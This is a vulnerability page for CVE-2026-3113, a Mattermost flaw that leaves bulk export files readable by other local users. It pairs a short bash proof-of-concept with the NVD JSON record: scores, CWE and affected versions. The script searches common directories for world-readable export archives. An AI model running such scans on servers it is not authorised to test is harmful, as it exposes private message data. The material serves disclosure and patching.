CVE-2026-3113

#!/bin/bash # PoC for CVE-2026-3113: Mattermost Bulk Export Permission Check # Description: This script simulates a local non-privileged user # checking for readable Mattermost export files in common directories. TARGET_DIRS=("/tmp" "/var/tmp" "/opt/mattermost/data/export") echo "[*] Scanning for Mattermost bulk export files with loose permissions..." for dir in "${TARGET_DIRS[@]}"; do if [ -d "$dir" ]; then # Find files readable by 'others' (o+r) # Filter for potential export extensions (zip, json, csv) find "$dir" -type f \( -name "*.zip" -o -name "*.json" -o -name "*.csv" \) -perm -o+r 2>/dev/null | while read file; do echo "[+] Found readable file: $file" # Check if file content hints at Mattermost data (simulation) # head -n 1 "$file" | grep -iq "mattermost" && echo " -> Potential Mattermost export detected" done fi done echo "[!] Scan complete. Verify identified files manually."

{"cve": {"id": "CVE-2026-3113", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:42.307", "lastModified": "2026-03-30T19:41:30.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to set permissions on downloaded bulk export which allows other local users on the server to be able to read contents of the bulk export.. Mattermost Advisory ID: MMSA-2026-00593"}, {"lang": "es", "value": "Las versiones de Mattermost 11.4.x &lt;= 11.4.0, 11.3.x &lt;= 11.3.1, 11.2.x &lt;= 11.2.3, 10.11.x &lt;= 10.11.11 fallan al establecer permisos en la exportación masiva descargada, lo que permite a otros usuarios locales en el servidor poder leer el contenido de la exportación masiva. ID de Aviso de Mattermost: MMSA-2026-00593"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.12", "matchCriteriaId": "D144BD1D-F65C-498D-BC8A-F3D718F47F4B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.4", "matchCriteriaId": "2E3E9B61-F003-45E4-9A04-8015A5CB8558"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.2", "matchCriteriaId": "805ECFFC-82FD-4754-AF95-32167E1D41CB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:11.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "7B6A1FE2-D980-4755-A838-190A53A4D62B"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}